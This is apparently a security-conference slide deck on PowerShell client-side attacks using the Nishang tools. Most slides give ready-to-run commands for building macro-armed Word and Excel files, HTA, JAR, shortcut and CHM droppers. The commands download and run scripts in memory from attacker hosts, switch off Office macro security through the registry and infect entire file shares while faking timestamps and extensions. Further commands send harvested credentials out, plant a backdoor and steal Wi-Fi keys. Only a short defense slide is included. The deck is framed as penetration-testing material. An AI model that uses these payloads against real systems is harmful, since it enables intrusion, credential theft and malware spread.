DEEPSEC

Lethal Client Side Attacks using PowerShell

Nikhil Mittal

Get-Host

- SamratAshok
- Twitter - @nikhil_mitt
- Blog – http://labofapenetrationtester.com
- Creator of Kautilya and Nishang
- Interested in Offensive Information Security, new attack vectors and methodologies to pwn systems.
- Previous Talks
  - Clubhack'10, Hackfest'11, Clubhack'11, Black hat Abu Dhabi'11, Black Hat Europe'12, Troopers'12, PHDays'12, Black Hat USA'12, RSA China'12, EuSecWest'12, Troopers'13, Defcon'13, Troopers'14

Get-Content

- Client Side Attacks
- What is PowerShell
- Why PowerShell?
- Using PowerShell for client side attacks
  - Out-Word
  - Out-Excel
  - Out-Shortcut
  - Out-CHM
  - Out-Java
  - Out-HTA
- Defense against such attacks.
- Conclusion

“Of war, there is open war, concealed war and silent war…..one can prevail only by maintaining secrecy when striking again and again”

– Chanakya

Client Side Attacks

- Server side is being locked down like never before. There are protection measures, patching and extensive monitoring on the server side. Though, there is no dearth of vulnerabilities on the server side, exploiting those is getting more and more difficult.
- I noticed unprecedented pace by clients while applying patches for HeartBleed, ShellShock etc.
- There are higher chances to get noticed if we are using Server side attacks.

Client Side Attacks

- The client side is still a lesser priority when it comes to patches, monitoring and other security measures.
- The “perimeter-ized” network is still the norm.
- I still found older versions of Adobe Reader on client machines during penetration tests.
- There are less chances of getting caught if the attack begins from a user’s machine.

Client Side Attacks

- Another thing which helps in the client side attacks is, when users use same credentials, data, servers, emails on daily basis, they tend to become casual about those. They cease to attach much importance to those things as they seem normal to them.

Client Side Attacks

- It is still better not to use exploitation of memory corruption bugs in client side attacks. Generally, those are more prone to get caught.
- It would be really nice if we are able to launch client side attacks with things built-in or native to the Operating System which we have to target.
- This is where PowerShell comes in the picture.

What is PowerShell

- “Windows PowerShell® is a task-based **command-line shell and scripting language** designed especially for system administration. Built on the .NET Framework, Windows PowerShell helps IT professionals and power users **control and automate** the administration of the Windows operating system and applications that run on Windows.”

  http://technet.microsoft.com/en-us/library/bb978526.aspx

Why PowerShell

- A shell and scripting language already present on the most general targets in a penetration test.
- A powerful method to “reside” in the systems and network.
- Provides easy access to .Net classes, WMI, Windows API, WinRM, Registry etc.
- Less dependence on msf and *nix scripting scripts converted to executables.

Using PowerShell for Client Side Attacks

- Using PowerShell in a client side attack results in impressive post exploitation.
- We could not only have access to everything on the system very easily using PowerShell but also to other machines on the domain network.
- That makes it an ideal script for such attacks.

Using PowerShell for Client Side Attacks

- Lets begin with Microsoft Office Documents.

Out-Word.ps1

- Use Out-Word to generate “armed” or “infected” MS Word documents.
- The generated Word document has an auto executable macro which runs the provided PowerShell payload.
- The PowerShell payload executes silently without affecting the normal usage of the Word document.

Out-Word.ps1

- Below command generates a Word file, named Salary_Details.doc

```
Out-Word -Payload
"powershell.exe -ExecutionPolicy
Bypass -noprofile -noexit -c
Get-Process"
```

- Though you would be unable to see the output in above example, lets see what happened.

Out-Word.ps1

- Notice that we are not getting any warning regarding Macros when we open the Doc. Why? Because of these in the code

```
New-ItemProperty -Path
"HKCU:\Software\Microsoft\Office\$($Wo
rd.Version)\word\Security" -Name
AccessVBOM -Value 1 -Force | Out-Null
New-ItemProperty -Path
"HKCU:\Software\Microsoft\Office\$($Wo
rd.Version)\word\Security" -Name
VBAWarnings -Value 1 -Force | Out-Null
```

Out-Word.ps1

- We have effectively disabled Word Macro Security on the computer where the script is executed.
  - So, if we execute the script on our system and send the files to the target, he will see the warning.
  - But, if the script is executed on the target computer, no such warning would be displayed.

Out-Word.ps1

- The default payload with the script is to download and execute, in memory, a PowerShell script. Thus, the easiest way to use it is:

```
Out-Word -PayloadURL
http://yourwebserver.com/evil.ps
1
```

Out-Word.ps1

- The URL is passed to below code:

```
powershell.exe -ExecutionPolicy
Bypass -noprofile -c IEX ((New-
Object
Net.WebClient).DownloadString('$
PayloadURL'));$Arguments"
```

Out-Word.ps1

- Note that we could also pass arguments to the script getting downloaded. For example:

```
Out-Word -PayloadURL
http://yourwebserver.com/evil.ps
1 -Arguments Evil
```

- This is useful when the script loads a function in memory or a PowerShell Module is used.
- The Macro code uses WMI to create a process out of the payload we pass onto it.

Out-Word.ps1

- Now, what if we get access to a fileserver and want to infect all files or files in a particular directory? Use below command:

```
Out-Word -PayloadURL
http://yourwebserver.com/evil.ps1
-WordFileDir C:\docfiles\
```

- In above, in the C:\docfiles directory, macro enabled .doc files would be created for all the .docx files, with the same name and same LastWriteTime.

Out-Word.ps1

- Use the –Recurse option to recursively generate .doc files in the docfiles directory

```
Out-Word -PayloadURL
http://yourwebserver.com/evil.ps
1 -WordFileDir C:\docfiles\ -
Recurse
```

- Use –RemoveDocx, to delete the original docx files after doc files have been generated.

Out-Word.ps1

- LastWriteTime of the docx file is copied to the newly generate infected file to make it look auhtentic.
- Also, if the file extensions for known file types are hidden. “.docx” is added to the generated doc files.

Out-Excel.ps1

- Out-Excel works exactly same as Out-Word with same features, payloads etc.
- I prefer Out-Excel, as in my experience, users are generally ok with Macros in Excel than in Word.

Out-HTA.ps1

- Use this to generate HTML Application and accompanying VBScript. These could be deployed on a web server.
- When a user opens the HTA, the VBScript is executed which, in turn, executes the specified PowerShell payload.

Out-HTA.ps1

- The default name of the HTA is WindDef_WebInstall.hta and for VBS it is launchps.vbs
- Both the files should be hosted in the same directory of a web server or the HTA should be modified to point to correct path of the VB Script.

Out-HTA.ps1

- Use below command to generate the files:

```
Out-HTA -Payload "powershell.exe -ExecutionPolicy Bypass -noprofile -noexit -c Get-ChildItem"
```

- As in other client side attacks we discussed, you can also use a PowerShell Module

```
Out-HTA -PayloadURL http://192.168.254.1/powerpreter.psm1 -Arguments Check-VM
```

Out-Java.ps1

- Out-Java could be used to execute PowerShell commands and scripts.
- It outputs four files,a .java file which contains the Java source, a .class file which is the compiled Java class, a manifest.txt file and a JAR executable.
- It needs JDK on the attacker's machine.

Out-Java.ps1

- Use below command:

```
Out-Java -Payload "Get-Process" -
JDKPath "C:\Program
Files\Java\jdk1.7.0_25"
```

- To download and execute a script in memory, use this:

```
Out-Java -PayloadURL
http://192.168.254.1/Get-
Information.ps1 -JDKPath
"C:\Program
Files\Java\jdk1.7.0_25"
```

Out-Java.ps1

- You could also use PowerShell Modules.

```
Out-Java -PayloadURL
http://192.168.254.1/powerpreter
.psm1 -Arguments Check-VM -
JDKPath "C:\Program
Files\Java\jdk1.7.0_25"
```

Out-Shortcut.ps1

- Out-Shortcut creates a shortcut (.lnk) which could be used for executing PowerShell commands and scripts.
- When the target users clicks on the shortcut, which is set to PowerShell, the predefined command or script is executed.
- The target user will see a window flash/open.

Out-Shortcut.ps1

- Use below command to execute a PowerShell command:

```
Out-Shortcut -Payload "-WindowStyle
hidden -ExecutionPolicy Bypass -
noprofile -noexit -c Get-ChildItem"
```

- Use below command to download and execute, in memory, a PowerShell script:

```
Out-Shortcut -PayloadURL
http://192.168.254.1/Get-Wlan-Keys.ps1
```

Out-Shortcut.ps1

- If Out-Shortcut is executed on the target, we can set a Hotkey for the shortcut so that ot executed everytime the key is pressed:

```
Out-Shortcut -PayloadURL
http://192.168.254.1/powerpreter
.psm1 -Arguments Check-VM -
HotKey 'F3' -Icon 'notepad.exe'
```

Out-CHM.ps1

- We could also use Compiled HTML Help files (CHM) to execute PowerShell commands and scripts.
- When the target opens the CHM file, the predefined command or script is executed.
- The target user will see a window flash/open.

Out-CHM.ps1

- Use below command to execute a PowerShell command

```
Out-CHM -Payload "Get-Process" -
HHCPath "C:\Program Files
(x86)\HTML Help Workshop"
```

Out-CHM.ps1

- Use below command to execute encoded command/script.

```
Out-CHM -Payload "-EncodedCommand <>" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
```

Use Invoke-Encode from Nishang for encoding.

Out-CHM.ps1

- Use below command to download and execute a script in memroy.

```
Out-CHM -PayloadURL
http://192.168.254.1/Get-
Information.ps1 -HHCPath
"C:\Program Files (x86)\HTML
Help Workshop"
```

More complex attacks

- Any of the discussed, could be used for more effective attacks like:

```
Out-Shortcut -PayloadURL
http://192.168.254.1/powerpreter
.psm1 -Arguments "Credentials |
Do-Exfiltration –ExfilOption
Webserver -URL
http://192.168.254.183/test/data
.php"
```

More complex attacks

- We could do some really cool stuff, like running a backdoor with a new communications channel

```
Out-Shortcut -PayloadURL
“http://192.168.254.1/Gupt-
Backdoor.ps1” –Arguments "Gupt-
backdoor -MagicString op3n –
Verbose”
```

More complex attacks

- We could do Egress Testing

```
Out-Shortcut -PayloadURL
“http://192.168.254.1/FireBuster
.ps1” –Arguments “FireBuster
192.168.254.1 4443-4447”
```

More complex attacks

- Other machines on the network could be port scanned.

```
Out-Shortcut -PayloadURL
“http://192.168.254.1/Port-
Scan.ps1” –Arguments “Port-Scan -
StartAddress 192.168.254.1 -
EndAddress 192.168.254.254 -
ResolveHost -ScanPort”
```

- We could do a port scan for all the hosts in the current network segment, it is unlikely that we know the network range as in above example.

More complex attacks

- We could also run other client side attacks. For example, lets infect every word file in the C:\client directory

```
Out-Shortcut -PayloadURL
“http://192.168.254.1/Out-
Word.ps1” –Arguments “Out-Word -
PayloadURL
http://192.168.254.1/Speak.ps1 -
WordFileDir C:\client\”
```

More complex attacks

- We could force browse or download and execute exploits to escalate privileges.
- On Windows 8, we could dump web credentials stored in Windows Vault in plain text (admin privs required).
- We could check if the current user has privileges to access other machines on the network.
- And much more.

Defense

- Use awareness is the best defense against such attacks.
- Removal of VBA from MS Office would help with the office document attacks. But it could break so many things.
- Active monitoring of the user machines may also help in detecting such attacks.

Conclusion

- Usage of PowerShell makes these attacks much more lethal and powerful.
- We need to not stick to getting a shell, we could go much further using only the client side attacks.
- The attacks would continue as long as users continue opening attachments and click on links, that means, for ever :)

Recommended PowerShell Tools

- Nishang
- PowerSploit
- Posh-SecMod
- Veil-PowerView
- PowerUp
- PoshSec
- Kansa
- Voyeur
- Powercat

Credits/Reference

- Thanks to DeepSec for accepting me.
- Macro code for MS Office documents has been taken from Matt's work:

  https://github.com/enigma0x3
- The idea for Out-CHM is taken from this tweet and attached file:

  https://twitter.com/ithurricanept/status/534993743196090368

Thank You

- Questions?
- I am looking for contributors.
- Nishang is available at https://github.com/samratashok/nishang
- Follow me @nikhil_mitt
- nikhil.uitrgpv@gmail.com
- http://labofapenetrationtester.com/